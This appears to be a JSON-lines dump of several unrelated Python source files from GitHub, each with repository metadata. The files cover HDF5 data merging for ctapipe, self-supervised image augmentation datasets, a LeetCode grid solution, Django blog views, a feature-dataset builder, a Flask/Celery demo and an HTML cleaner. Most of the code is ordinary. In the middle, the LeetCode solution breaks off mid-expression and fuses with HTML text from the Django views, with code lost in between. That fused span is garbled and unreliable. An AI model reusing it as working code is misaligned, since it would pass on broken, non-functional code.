_get_required_nodes(self.h5file)\n\n def __call__(self, other: Union[str, Path, tables.File]):\n \"\"\"\n Append file ``other`` to the output file\n \"\"\"\n exit_stack = ExitStack()\n if not isinstance(other, tables.File):\n other = exit_stack.enter_context(tables.open_file(other, mode=\"r\"))\n\n with exit_stack:\n # first file to be merged\n if self.meta is None:\n self.meta = self._read_meta(other)\n self.data_model_version = self.meta.product.data_model_version\n metadata.write_to_hdf5(self.meta.to_dict(), self.h5file)\n else:\n self._check_can_merge(other)\n\n Provenance().add_input_file(other.filename, \"data product to merge\")\n try:\n self._append(other)\n # if first file, update required nodes\n if self.required_nodes is None:\n self.required_nodes = _get_required_nodes(self.h5file)\n self.log.info(\n \"Updated required nodes to %s\", sorted(self.required_nodes)\n )\n finally:\n self._update_meta()\n\n def _update_meta(self):\n # update creation date and id\n time = Time.now()\n id_ = str(uuid.uuid4())\n self.meta.product.id_ = id_\n self.meta.product.creation_time = time\n\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\", tables.NaturalNameWarning)\n self.h5file.root._v_attrs[\"CTA PRODUCT CREATION TIME\"] = time.iso\n self.h5file.root._v_attrs[\"CTA PRODUCT ID\"] = id_\n self.h5file.flush()\n\n def _read_meta(self, h5file):\n try:\n return metadata.Reference.from_dict(metadata.read_metadata(h5file))\n except Exception:\n raise CannotMerge(\n f\"CTA Reference meta not found in input file: {h5file.filename}\"\n )\n\n def _check_can_merge(self, other):\n other_meta = self._read_meta(other)\n other_version = other_meta.product.data_model_version\n if self.data_model_version != other_version:\n raise CannotMerge(\n f\"Input file {other.filename:!r} has different data model version:\"\n f\" {other_version}, expected {self.data_model_version}\"\n )\n\n for node_path in self.required_nodes:\n if node_path not in other.root:\n raise CannotMerge(\n f\"Required node {node_path} not found in {other.filename}\"\n )\n\n def _append(self, other):\n # Configuration\n self._append_subarray(other)\n\n config_keys = [\n \"/configuration/observation/scheduling_block\",\n \"/configuration/observation/observation_block\",\n ]\n for key in config_keys:\n if key in other.root:\n self._append_table(other, other.root[key])\n\n # Simulation\n simulation_table_keys = [\n \"/configuration/simulation/run\",\n \"/simulation/service/shower_distribution\",\n \"/simulation/event/subarray/shower\",\n ]\n for key in simulation_table_keys:\n if self.simulation and key in other.root:\n self._append_table(other, other.root[key])\n\n key = \"/simulation/event/telescope/impact\"\n if self.telescope_events and self.simulation and key in other.root:\n self._append_table_group(other, other.root[key])\n\n key = \"/simulation/event/telescope/images\"\n if self.telescope_events and self.simulation and key in other.root:\n filter_columns = None if self.true_images else [\"true_image\"]\n self._append_table_group(other, other.root[key], filter_columns)\n\n key = \"/simulation/event/telescope/parameters\"\n if (\n self.telescope_events\n and self.simulation\n and self.true_parameters\n and key in other.root\n ):\n self._append_table_group(other, other.root[key])\n\n # R0\n key = \"/r0/event/telescope/\"\n if self.telescope_events and self.r0_waveforms and key in other.root:\n self._append_table_group(other, other.root[key])\n\n # R1\n key = \"/r1/event/telescope/\"\n if self.telescope_events and self.r1_waveforms and key in other.root:\n self._append_table_group(other, other.root[key])\n\n # DL1\n key = \"/dl1/event/subarray/trigger\"\n if key in other.root:\n self._append_table(other, other.root[key])\n\n key = \"/dl1/event/telescope/trigger\"\n if self.telescope_events and key in other.root:\n self._append_table(other, other.root[key])\n\n key = \"/dl1/event/telescope/images\"\n if self.telescope_events and self.dl1_images and key in other.root:\n self._append_table_group(other, other.root[key])\n\n key = \"/dl1/event/telescope/parameters\"\n if self.telescope_events and self.dl1_parameters and key in other.root:\n self._append_table_group(other, other.root[key])\n\n key = \"/dl1/event/telescope/muon\"\n if self.telescope_events and self.dl1_muon and key in other.root:\n self._append_table_group(other, other.root[key])\n\n # DL2\n key = \"/dl2/event/telescope\"\n if self.telescope_events and self.dl2_telescope and key in other.root:\n for kind_group in other.root[key]._f_iter_nodes(\"Group\"):\n for algorithm_group in kind_group._f_iter_nodes(\"Group\"):\n self._append_table_group(other, algorithm_group)\n\n key = \"/dl2/event/subarray\"\n if self.dl2_subarray and key in other.root:\n for kind_group in other.root[key]._f_iter_nodes(\"Group\"):\n for table in kind_group._f_iter_nodes(\"Table\"):\n self._append_table(other, table)\n\n # monitoring\n key = \"/dl1/monitoring/subarray/pointing\"\n if self.monitoring and key in other.root:\n self._append_table(other, other.root[key])\n\n key = \"/dl1/monitoring/telescope/pointing\"\n if self.monitoring and self.telescope_events and key in other.root:\n self._append_table_group(other, other.root[key])\n\n # quality query statistics\n key = \"/dl1/service/image_statistics\"\n if key in other.root:\n self._add_statistics_table(other, other.root[key])\n\n key = \"/dl2/service/tel_event_statistics\"\n if key in other.root:\n for node in other.root[key]._f_iter_nodes(\"Table\"):\n self._add_statistics_table(other, node)\n\n def __enter__(self):\n return self\n\n def __exit__(self, exc_type, exc_value, traceback):\n self.close()\n\n def close(self):\n if hasattr(self, \"h5file\"):\n self.h5file.close()\n\n def _append_subarray(self, other):\n # focal length choice doesn't matter here, set to equivalent so we don't get\n # an error if only the effective focal length is available in the file\n subarray = SubarrayDescription.from_hdf(\n other, focal_length_choice=FocalLengthKind.EQUIVALENT\n )\n\n if self.subarray is None:\n self.subarray = subarray\n self.subarray.to_hdf(self.h5file)\n\n elif self.subarray != subarray:\n raise CannotMerge(f\"Subarrays do not match for file: {other.filename}\")\n\n def _append_table_group(self, file, input_group, filter_columns=None):\n \"\"\"Add a group that has a number of child tables to outputfile\"\"\"\n\n if not isinstance(input_group, tables.Group):\n raise TypeError(f\"node must be a `tables.Group`, got {input_group}\")\n\n node_path = input_group._v_pathname\n self._get_or_create_group(node_path)\n\n for table in input_group._f_iter_nodes(\"Table\"):\n self._append_table(file, table, filter_columns=filter_columns)\n\n def _append_table(self, file, table, filter_columns=None):\n \"\"\"Append a single table to the output file\"\"\"\n if not isinstance(table, tables.Table):\n raise TypeError(f\"node must be a `tables.Table`, got {table}\")\n\n table_path = table._v_pathname\n group_path, _ = split_h5path(table_path)\n\n if table_path in self.h5file:\n output_table = self.h5file.get_node(table_path)\n input_table = table[:]\n if filter_columns is not None:\n input_table = recarray_drop_columns(input_table, filter_columns)\n\n output_table.append(input_table.astype(output_table.dtype))\n\n else:\n self._get_or_create_group(group_path)\n\n if filter_columns is None:\n self._copy_node(file, table)\n else:\n self._copy_node_filter_columns(table, filter_columns)\n\n def _copy_node_filter_columns(self, table, filter_columns):\n group_path, table_name = split_h5path(table._v_pathname)\n input_table = recarray_drop_columns(table[:], filter_columns)\n\n out_table = self.h5file.create_table(\n group_path,\n table_name,\n filters=table.filters,\n createparents=True,\n obj=input_table,\n )\n\n # copy metadata\n meta = get_node_meta(table)\n for key, val in meta.items():\n out_table.attrs[key] = val\n\n # set column attrs\n column_attrs = get_column_attrs(table)\n for pos, colname in enumerate(out_table.colnames):\n for key, value in column_attrs[colname].items():\n # these are taken from the table object itself, not actually from the attrs\n if key in {\"POS\", \"DTYPE\"}:\n continue\n out_table.attrs[f\"CTAFIELD_{pos}_{key}\"] = value\n\n def _create_group(self, node):\n parent, name = split_h5path(node)\n return self.h5file.create_group(parent, name, createparents=True)\n\n def _get_or_create_group(self, node):\n if node in self.h5file.root:\n return self.h5file.root[node]\n return self._create_group(node)\n\n def _copy_node(self, file, node):\n group_path, _ = split_h5path(node._v_pathname)\n target_group = self._get_or_create_group(group_path)\n file.copy_node(node, newparent=target_group)\n\n def _add_statistics_table(self, file: tables.File, input_table: tables.Table):\n \"\"\"\n Creates table for image statistics and adds the entries together.\n\n This does not append rows to the existing table\n \"\"\"\n if not isinstance(input_table, tables.Table):\n raise TypeError(f\"node must be a `tables.Table`, got {input_table}\")\n\n table_path = input_table._v_pathname\n if table_path in self.h5file.root:\n table_out = self.h5file.root[table_path]\n\n for col in [\"counts\", \"cumulative_counts\"]:\n table_out.modify_column(\n colname=col,\n column=table_out.col(col) + input_table.col(col),\n )\n else:\n self._copy_node(file, input_table)\n","repo_name":"cta-observatory/ctapipe","sub_path":"ctapipe/io/hdf5merger.py","file_name":"hdf5merger.py","file_ext":"py","file_size_in_byte":18300,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"67"} +{"seq_id":"34050040452","text":"import math\nimport random\nfrom logging import getLogger\n\nfrom PIL import ImageFilter, Image\nimport numpy as np\nimport torchvision.datasets as datasets\nimport torchvision.transforms as transforms\nimport torch\n\nlogger = getLogger()\n\n\nclass JigsawTransform:\n \n def __init__(\n self,\n num_patches: int = 9, \n resize: int = 256, \n crop_size: int = 255,\n grayscale_p: float = 0.2, \n jitter_value: int = 21, \n mean_std = [\n [0.485, 0.456, 0.406], \n [0.229, 0.224, 0.225]\n ]\n \n ):\n\n self.num_patches = num_patches\n assert jitter_value >= 0, \"Negative jitter not supported\"\n self.jitter = jitter_value\n self.grid_size = int(math.sqrt(self.num_patches)) # usually = 3\n self.gray_p = grayscale_p\n self.__img_transform = transforms.Compose([\n transforms.Resize(resize),\n transforms.RandomHorizontalFlip(),\n transforms.RandomCrop(crop_size)\n ])\n self.__patch_transform = transforms.Compose([\n transforms.Lambda(rgb_jittering),\n transforms.ToTensor(),\n transforms.Normalize(*mean_std),\n ])\n\n def __call__(self, x: Image):\n\n x = self.__img_transform(x)\n if np.random.rand() <= self.gray_p:\n x = x.convert('LA').convert('RGB')\n\n # patch extraction loop\n grid_size = int(x.size[0] / self.grid_size)\n patch_size = grid_size - self.jitter\n jitter = np.random.randint(\n 0, self.jitter + 1, (2, self.grid_size, self.grid_size)\n )\n tensor_patches = []\n for i in range(self.grid_size):\n for j in range(self.grid_size):\n x_offset = i * grid_size\n y_offset = j * grid_size\n y0 = y_offset + jitter[1, i, j]\n y1 = y0 + patch_size\n x0 = x_offset + jitter[0, i, j]\n x1 = x0 + patch_size\n coords = np.array([x0, y0, x1, y1]).astype(int)\n patch = x.crop(coords.tolist())\n assert patch.size[0] == patch_size, \"Image not cropped properly\"\n assert patch.size[1] == patch_size, \"Image not cropped properly\"\n tensor_patch = self.__patch_transform(patch)\n tensor_patches.append(tensor_patch)\n\n return tensor_patches\n\n\ndef rgb_jittering(x: Image):\n x = np.array(x, 'int32')\n for ch in range(3):\n x[:, :, ch] += np.random.randint(-2, 2)\n x[x > 255] = 255\n x[x < 0] = 0\n return x.astype('uint8')\n\n\nclass MultiCropRotateJigsawDataset(datasets.ImageFolder):\n def __init__(\n self,\n data_path,\n size_crops,\n nmb_crops,\n min_scale_crops,\n max_scale_crops,\n size_dataset=-1,\n return_index=False,\n ):\n super(MultiCropRotateJigsawDataset, self).__init__(data_path)\n assert len(size_crops) == len(nmb_crops)\n assert len(min_scale_crops) == len(nmb_crops)\n assert len(max_scale_crops) == len(nmb_crops)\n if size_dataset >= 0:\n self.samples = self.samples[:size_dataset]\n self.return_index = return_index\n self.jigsaw_transform = JigsawTransform()\n self.perm_path = 'permutations/permutations_max_100.npy'\n self.perm_loaded = False\n self.perms = None\n self._load_perms()\n\n color_transform = [get_color_distortion(), PILRandomGaussianBlur()]\n mean = [0.485, 0.456, 0.406]\n std = [0.228, 0.224, 0.225]\n trans = []\n for i in range(len(size_crops)):\n randomresizedcrop = transforms.RandomResizedCrop(\n size_crops[i],\n scale=(min_scale_crops[i], max_scale_crops[i]),\n )\n trans.extend([transforms.Compose([\n randomresizedcrop,\n transforms.RandomHorizontalFlip(p=0.5),\n transforms.Compose(color_transform),\n transforms.ToTensor(),\n transforms.Normalize(mean=mean, std=std)])\n ] * nmb_crops[i])\n self.trans = trans\n\n def _load_perms(self):\n self.perms = np.load(self.perm_path)\n if np.min(self.perms) == 1:\n self.perms = self.perms - 1\n self.perm_loaded = True\n\n def do_jigsaw(self, img):\n jigsaw_tensors = self.jigsaw_transform(img)\n perm_index = np.random.randint(self.perms.shape[0])\n shuffled_patches = [\n torch.FloatTensor(jigsaw_tensors[i]) for i in self.perms[perm_index]\n ]\n jigsaw_tensor = torch.stack(shuffled_patches) # num_patches x C x H x W\n jigsaw_target = torch.Tensor([perm_index]).long()\n\n return jigsaw_tensor, jigsaw_target\n\n @staticmethod\n def rotate_img(img, rot):\n if rot == 0: # 0 degrees rotation\n return img\n elif rot == 90: # 90 degrees rotation\n # return torch.flipud(torch.transpose(img, 1, 2))\n return torch.rot90(img, 1, (1, 2))\n elif rot == 180: # 90 degrees rotation\n return torch.rot90(img, 2, (1, 2))\n # return torch.fliplr(torch.flipud(img))\n elif rot == 270: # 270 degrees rotation / or -90\n return torch.rot90(img, 3, (1, 2))\n # return torch.transpose(torch.flipud(img), 1, 2)\n else:\n raise ValueError('rotation should be 0, 90, 180, or 270 degrees')\n\n def __getitem__(self, index):\n path, _ = self.samples[index]\n image = self.loader(path)\n\n j1, jt1 = self.do_jigsaw(image)\n\n rt1 = random.randint(0, 3)\n rt2 = random.randint(0, 3)\n\n rotation_angles = [0, 90, 180, 270]\n\n multi_crops = list(map(lambda trans: trans(image), self.trans))\n\n r1 = self.rotate_img(multi_crops[0], rotation_angles[rt1])\n r2 = self.rotate_img(multi_crops[1], rotation_angles[rt2])\n\n return multi_crops, (r1, r2), (rt1, rt2), (j1, jt1)\n\n\n\nclass MultiCropRotationDataset(datasets.ImageFolder):\n def __init__(\n self,\n data_path,\n size_crops,\n nmb_crops,\n min_scale_crops,\n max_scale_crops,\n size_dataset=-1,\n return_index=False,\n ):\n super(MultiCropRotationDataset, self).__init__(data_path)\n assert len(size_crops) == len(nmb_crops)\n assert len(min_scale_crops) == len(nmb_crops)\n assert len(max_scale_crops) == len(nmb_crops)\n if size_dataset >= 0:\n self.samples = self.samples[:size_dataset]\n self.return_index = return_index\n\n color_transform = [get_color_distortion(), PILRandomGaussianBlur()]\n mean = [0.485, 0.456, 0.406]\n std = [0.228, 0.224, 0.225]\n trans = []\n for i in range(len(size_crops)):\n randomresizedcrop = transforms.RandomResizedCrop(\n size_crops[i],\n scale=(min_scale_crops[i], max_scale_crops[i]),\n )\n trans.extend([transforms.Compose([\n randomresizedcrop,\n transforms.RandomHorizontalFlip(p=0.5),\n transforms.Compose(color_transform),\n transforms.ToTensor(),\n transforms.Normalize(mean=mean, std=std)])\n ] * nmb_crops[i])\n self.trans = trans\n\n @staticmethod\n def rotate_img(img, rot):\n if rot == 0: # 0 degrees rotation\n return img\n elif rot == 90: # 90 degrees rotation\n # return torch.flipud(torch.transpose(img, 1, 2))\n return torch.rot90(img, 1, (1, 2))\n elif rot == 180: # 90 degrees rotation\n return torch.rot90(img, 2, (1, 2))\n # return torch.fliplr(torch.flipud(img))\n elif rot == 270: # 270 degrees rotation / or -90\n return torch.rot90(img, 3, (1, 2))\n # return torch.transpose(torch.flipud(img), 1, 2)\n else:\n raise ValueError('rotation should be 0, 90, 180, or 270 degrees')\n\n def __getitem__(self, index):\n path, _ = self.samples[index]\n image = self.loader(path)\n\n target_1 = random.randint(0, 3)\n target_2 = random.randint(0, 3)\n\n rotation_angles = [0, 90, 180, 270]\n\n multi_crops = list(map(lambda trans: trans(image), self.trans))\n\n aug_1_rot = self.rotate_img(multi_crops[0], rotation_angles[target_1])\n aug_2_rot = self.rotate_img(multi_crops[1], rotation_angles[target_2])\n\n if self.return_index:\n return index, multi_crops\n return multi_crops, (aug_1_rot, aug_2_rot), (target_1, target_2)\n\n\nclass MultiCropDataset(datasets.ImageFolder):\n def __init__(\n self,\n data_path,\n size_crops,\n nmb_crops,\n min_scale_crops,\n max_scale_crops,\n size_dataset=-1,\n return_index=False,\n ):\n super(MultiCropDataset, self).__init__(data_path)\n assert len(size_crops) == len(nmb_crops)\n assert len(min_scale_crops) == len(nmb_crops)\n assert len(max_scale_crops) == len(nmb_crops)\n if size_dataset >= 0:\n self.samples = self.samples[:size_dataset]\n self.return_index = return_index\n\n color_transform = [get_color_distortion(), PILRandomGaussianBlur()]\n mean = [0.485, 0.456, 0.406]\n std = [0.228, 0.224, 0.225]\n trans = []\n for i in range(len(size_crops)):\n randomresizedcrop = transforms.RandomResizedCrop(\n size_crops[i],\n scale=(min_scale_crops[i], max_scale_crops[i]),\n )\n trans.extend([transforms.Compose([\n randomresizedcrop,\n transforms.RandomHorizontalFlip(p=0.5),\n transforms.Compose(color_transform),\n transforms.ToTensor(),\n transforms.Normalize(mean=mean, std=std)])\n ] * nmb_crops[i])\n self.trans = trans\n\n def __getitem__(self, index):\n path, _ = self.samples[index]\n image = self.loader(path)\n multi_crops = list(map(lambda trans: trans(image), self.trans))\n if self.return_index:\n return index, multi_crops\n return multi_crops\n\n\nclass PILRandomGaussianBlur(object):\n \"\"\"\n Apply Gaussian Blur to the PIL image. Take the radius and probability of\n application as the parameter.\n This transform was used in SimCLR - https://arxiv.org/abs/2002.05709\n \"\"\"\n\n def __init__(self, p=0.5, radius_min=0.1, radius_max=2.):\n self.prob = p\n self.radius_min = radius_min\n self.radius_max = radius_max\n\n def __call__(self, img):\n do_it = np.random.rand() <= self.prob\n if not do_it:\n return img\n\n return img.filter(\n ImageFilter.GaussianBlur(\n radius=random.uniform(self.radius_min, self.radius_max)\n )\n )\n\n\ndef get_color_distortion(s=1.0):\n # s is the strength of color distortion.\n color_jitter = transforms.ColorJitter(0.8*s, 0.8*s, 0.8*s, 0.2*s)\n rnd_color_jitter = transforms.RandomApply([color_jitter], p=0.8)\n rnd_gray = transforms.RandomGrayscale(p=0.2)\n color_distort = transforms.Compose([rnd_color_jitter, rnd_gray])\n return color_distort\n","repo_name":"val-iisc/EffSSL","sub_path":"src/multicropdataset.py","file_name":"multicropdataset.py","file_ext":"py","file_size_in_byte":11267,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"72988226772","text":"class Solution:\n def numEnclaves(self, grid: List[List[int]]) -> int:\n n = len(grid)\n m = len(grid[0])\n visited = dict()\n def dfs(stack):\n setcountZero = False\n count = 0 \n while(len(stack)!= 0):\n i,j = stack.pop()\n visited[(i,j)] = True\n # print(i,j)\n if i == 0 or i == n-1 or j == m-1 or j ==0:\n setcountZero = True \n count+=1\n nextEle = [[0,1],[0,-1],[1,0],[-1,0]]\n for r,c in nextEle:\n nextr = i+r\n nextc = j+c\n \n if min(nextr,nextc) >=0 and nextrBienvenue sur mon blog !\n

Les crêpes bretonnes ça tue des mouettes en plein vol !

\n \"\"\")\n\n\ndef date_actuelle(request):\n return render(request, 'blog/date.html', {'date': datetime.now()})\n\n\ndef addition(request, nombre1, nombre2):\n total = nombre1 + nombre2\n\n # Retourne nombre1, nombre2 et la somme des deux au tpl\n return render(request, 'blog/addition.html', locals())\n\n\ndef accueil(request):\n \"\"\" Afficher tous les articles de notre blog \"\"\"\n articles = Article.objects.all() # Nous sélectionnons tous nos articles\n return render(request, 'blog/accueil.html', {'derniers_articles': articles})\n\n\ndef lire(request, id, slug):\n article = get_object_or_404(Article, id=id, slug=slug)\n return render(request, 'blog/lire.html', {'article': article})\n\n\n\n\ndef contact(request):\n # Construire le formulaire, soit avec les données postées,\n # soit vide si l'utilisateur accède pour la première fois\n # à la page.\n form = ContactForm(request.POST or None)\n # Nous vérifions que les données envoyées sont valides\n # Cette méthode renvoie False s'il n'y a pas de données\n # dans le formulaire ou qu'il contient des erreurs.\n if form.is_valid():\n # Ici nous pouvons traiter les données du formulaire\n sujet = form.cleaned_data['sujet']\n message = form.cleaned_data['message']\n envoyeur = form.cleaned_data['envoyeur']\n renvoi = form.cleaned_data['renvoi']\n\n # Nous pourrions ici envoyer l'e-mail grâce aux données\n # que nous venons de récupérer\n envoi = True\n\n # Quoiqu'il arrive, on affiche la page du formulaire.\n return render(request, 'blog/contact.html', locals())\n\n\ndef nouveau_contact(request):\n sauvegarde = False\n form = NouveauContactForm(request.POST or None, request.FILES)\n if form.is_valid():\n contact = Contact()\n contact.nom = form.cleaned_data[\"nom\"]\n contact.adresse = form.cleaned_data[\"adresse\"]\n contact.photo = form.cleaned_data[\"photo\"]\n contact.save()\n sauvegarde = True\n\n return render(request, 'contact.html', {\n 'form': form,\n 'sauvegarde': sauvegarde\n })\n\n\ndef voir_contacts(request):\n return render(\n request,\n 'voir_contacts.html',\n {'contacts': Contact.objects.all()}\n )","repo_name":"MaxHeitz/AppliWeb","sub_path":"Django2/crepes_bretonnes/blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2698,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"7534000364","text":"from utils import create_stylistic_feature_vector, create_affective_feature_vector, save_data, load_data, \\\n create_user_feature_vector\nfrom constants import feature_list, stylistic_csvout_default_path, stylistic_fout_default_path, \\\n affective_csvout_default_path, affective_fout_default_path, author_doc_review_small_default_path, \\\n author_doc_review_default_path, affective_headers, stylistic_headers, user_headers, author_details_default_path, \\\n user_csvout_default_path, user_fout_default_path\n\nimport os, csv, uuid\nimport numpy as np\n\n\ndef build_review_dataset(fin, stylistic_csvout, stylistic_fout, affective_csvout, affective_fout):\n csvin = open(fin, mode='rt', encoding=\"ISO-8859-1\") # open csv in\n csvin_reader = csv.reader(csvin, delimiter=',')\n\n _stylistic_csvout = open(stylistic_csvout, \"wt\") # open csv out for stylistic and affective\n stylistic_csvout_writer = csv.writer(_stylistic_csvout, delimiter=',', lineterminator='\\n')\n _affective_csvout = open(affective_csvout, \"wt\")\n affective_csvout_writer = csv.writer(_affective_csvout, delimiter=',', lineterminator='\\n')\n\n stylistic_feature_dataset = []\n affective_feature_dataset = []\n\n for i, row in enumerate(csvin_reader):\n if i % 50000 == 0:\n print(\"Processed \" + str(i) + \" rows\")\n if i == 0:\n stylistic_row = stylistic_headers # if it's the first line, written row = header\n affective_row = affective_headers\n else:\n author_id = row[0] # parse columns\n doc_id = row[1]\n post = row[2]\n post_id = str(uuid.uuid4())\n stylistic_feature_vector = create_stylistic_feature_vector(features_list=feature_list, doc=post)\n affective_feature_vector = create_affective_feature_vector(doc=post)\n\n stylistic_row = [author_id, doc_id, post_id, str(list(stylistic_feature_vector))] # arrange data into row format\n affective_row = [author_id, doc_id, post_id, str(list(affective_feature_vector))]\n stylistic_data_point = [author_id, doc_id, post_id, stylistic_feature_vector] # arrange data into row format\n affective_data_point = [author_id, doc_id, post_id, affective_feature_vector]\n stylistic_feature_dataset.append(stylistic_data_point) # append to current dataset\n affective_feature_dataset.append(affective_data_point)\n\n stylistic_csvout_writer.writerow(stylistic_row) # write row to csv out\n affective_csvout_writer.writerow(affective_row)\n\n save_data(path=stylistic_fout, py_object=stylistic_feature_dataset) # save dataset to pickle file\n save_data(path=affective_fout, py_object=affective_feature_dataset)\n csvin.close()\n _stylistic_csvout.close()\n _affective_csvout.close()\n\n\ndef build_user_dataset(fin, user_csvout, user_fout):\n csvin = open(fin, mode='rt', encoding=\"ISO-8859-1\") # open csv in\n csvin_reader = csv.reader(csvin, delimiter=',')\n\n _user_csvout = open(user_csvout, \"wt\") # open csv out for stylistic and affective\n user_csvout_writer = csv.writer(_user_csvout, delimiter=',', lineterminator='\\n')\n\n user_feature_dataset = []\n for i, row in enumerate(csvin_reader):\n if i % 50000 == 0:\n print(\"Processed \" + str(i) + \" rows\")\n if i == 0:\n user_row = user_headers\n else:\n user_feature_vector = create_user_feature_vector(row)\n user_row = row + [str(list(user_feature_vector))]\n user_data_point = row + [user_feature_vector]\n user_feature_dataset.append(user_data_point)\n\n user_csvout_writer.writerow(user_row)\n\n save_data(path=user_fout, py_object=user_feature_dataset)\n csvin.close()\n _user_csvout.close()\n\n\nif __name__ == \"__main__\":\n build_review_dataset(fin=author_doc_review_default_path, stylistic_csvout=stylistic_csvout_default_path,\n stylistic_fout=stylistic_fout_default_path, affective_csvout=affective_csvout_default_path,\n affective_fout=affective_fout_default_path)\n build_user_dataset(fin=author_details_default_path, user_csvout=user_csvout_default_path,\n user_fout=user_fout_default_path)","repo_name":"nguyenvanhoang7398/PeopleOnDrugs","sub_path":"build_dataset.py","file_name":"build_dataset.py","file_ext":"py","file_size_in_byte":4241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"7097660912","text":"import celery.states as states\nfrom flask import Flask, Response, request, flash, redirect, url_for, render_template, jsonify\nfrom worker import celery\n\ndev_mode = True\napp = Flask(__name__)\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n if request.method == 'GET':\n return render_template('index.html')\n\n elif request.method == 'POST':\n data = {}\n data['email'] = request.form['email']\n data['first_name'] = request.form['first_name']\n data['last_name'] = request.form['last_name']\n data['message'] = request.form['message']\n duration = int(request.form['duration'])\n duration_unit = request.form['duration_unit']\n\n # calculate time in seconds\n if duration_unit == 'minutes':\n duration *= 60\n elif duration_unit == 'hours':\n duration *= 3600\n elif duration_unit == 'days':\n duration *= 86400\n\n flash(duration)\n\n return redirect(url_for('index'))\n\n@app.route('/add//')\ndef add(param1: int, param2: int) -> str:\n task = celery.send_task('tasks.add', args=[param1, param2], kwargs={})\n response = f\"check status of {task.id} \"\n return response\n\n\n@app.route('/check/')\ndef check_task(task_id: str) -> str:\n res = celery.AsyncResult(task_id)\n if res.state == states.PENDING:\n return res.state\n else:\n return str(res.result) \n\n\n@app.route('/health_check')\ndef health_check() -> Response:\n return jsonify(\"OK\")\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=5001)\n","repo_name":"alshawwaf/pipeline","sub_path":"api/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"15605791973","text":"from bs4 import BeautifulSoup\nfrom bs4 import NavigableString\nimport sys\nimport re\nimport cssutils\nimport math\nimport urlparse\nimport logging\nimport json\ncssutils.log.setLevel(logging.CRITICAL)\n\nBASE_URL = \"http://encyclopedia.che.engin.umich.edu\"\nvideoLinkPattern = r'\\s*{{\\s*VIDEO:\\s*http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+ ]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+\\s*}}\\s*'\ndiagramLinkPattern = r'\\s*{{\\s*DIAGRAM:\\s*(?PDiagrams/[0-9]+\\.[0-9]?\\.?json)\\s*}}\\s*'\nvideoIDPattern = r'http[s]?://.*/(?P\\S+)$'\nvideoLinkChecker = re.compile(videoLinkPattern)\ndiagramLinkChecker = re.compile(diagramLinkPattern)\nvideoIDChecker = re.compile(videoIDPattern)\n\ndef googleDriveCleaner(html, template):\n # soupify the inputdom\n inputDOM = BeautifulSoup(html, 'lxml')\n # soupify the outputdom\n outputDOM = BeautifulSoup(template, 'lxml')\n\n # unwrap all span tags from the body\n spans = inputDOM.find_all('span')\n for span in spans:\n if 'style' in span.attrs:\n styles = cssutils.parseStyle(span['style'].encode('utf-8'))\n if 'vertical-align' in styles and styles['vertical-align'] == 'super':\n span.name = 'sup'\n del span['style']\n continue\n elif 'vertical-align' in styles and styles['vertical-align'] == 'sub':\n span.name = 'sub'\n del span['style']\n continue\n span.unwrap()\n\n # remove styling on all tags inside the body, except for text alignment\n tags = inputDOM.body.find_all(True)\n for tag in tags:\n if 'style' in tag.attrs:\n styles = cssutils.parseStyle(tag['style'].encode('utf-8'))\n keys = styles.keys()\n for key in keys:\n if key not in ['text-align']:\n del styles[key]\n tag['style'] = styles.cssText.replace('\\n', ' ').replace('\\r', '')\n\n\n # convert videos from links into iframes\n anchors = inputDOM.find_all('a')\n diagramID = 0\n for anchor in anchors:\n if 'href' not in anchor.attrs:\n anchor.decompose()\n continue\n googleURL = anchor['href']\n googleURL = googleURL.replace('&', '&')\n parsed = urlparse.urlparse(googleURL)[4]\n if 'q' in parsed:\n anchor['href'] = urlparse.parse_qs(urlparse.urlparse(googleURL)[4])['q'][0]\n\n anchor_contents = unicode(anchor.string).encode('utf-8')\n videoLinkMatch = videoLinkChecker.match(anchor_contents)\n diagramLinkMatch = diagramLinkChecker.match(anchor_contents)\n\n if videoLinkMatch:\n videoIDmatch = videoIDChecker.match(anchor['href'])\n videoID = videoIDmatch.group('ID')\n\n # create a new frame tag\n frame = inputDOM.new_tag('iframe')\n frame['src'] = anchor['href'] + '?loop=1&controls=0&disablekb=1&playlist=' + videoID\n frame['class'] = ['embed-responsive-item']\n \n # make the original tag a p\n del anchor['href']\n anchor.name = 'p'\n anchor.string = ''\n anchor['class'] = ['embed-responsive','embed-responsive-4by3']\n anchor.append(frame)\n\n if diagramLinkMatch:\n jsonPath = diagramLinkMatch.group('src')\n jsonText = open(jsonPath, 'r').read()\n jsonData = json.loads(jsonText)\n thisid = 'diagram_' + str(diagramID)\n jsonData['id'] = thisid\n diagramID += 1\n jsonText = json.dumps(jsonData)\n anchor.name = 'img'\n anchor['src'] = BASE_URL + '/' + jsonData['src']\n anchor['class'] = []\n anchor['class'].append('diagram')\n anchor['id'] = thisid\n anchor.string = ''\n scriptag = inputDOM.new_tag('script')\n scriptag.string = 'var ' + thisid + ' = ' + jsonText + ';'\n anchor.insert_after(scriptag);\n\n # convert tables into bootstrap grids\n tables = inputDOM.find_all('table')\n for table in tables:\n if table.tbody:\n table.tbody.unwrap()\n rows = table.find_all('tr')\n for row in rows:\n cells = row.find_all('td')\n totalColSpan = 0\n for cell in cells:\n totalColSpan += int(cell['colspan'])\n totalColSpan = max(totalColSpan, 1)\n colspan_alloc = 12/totalColSpan\n for cell in cells:\n grid_space = max(int(math.floor(colspan_alloc * int(cell['colspan']))), 1)\n cell.name = 'div'\n cell['class'] = ['col-xs-'+str(grid_space)]\n del cell['colspan']\n del cell['rowspan']\n del cell['style']\n row.name = 'div'\n row['class'] = ['row']\n del row['style']\n\n table.unwrap()\n\n # remove all the empty paragraphs\n paragraphs = inputDOM.find_all('p')\n for paragraph in paragraphs:\n if len(paragraph.contents) == 0:\n paragraph.decompose()\n\n # make all images fluid\n imgs = inputDOM.find_all('img')\n for img in imgs:\n if img.get('class') 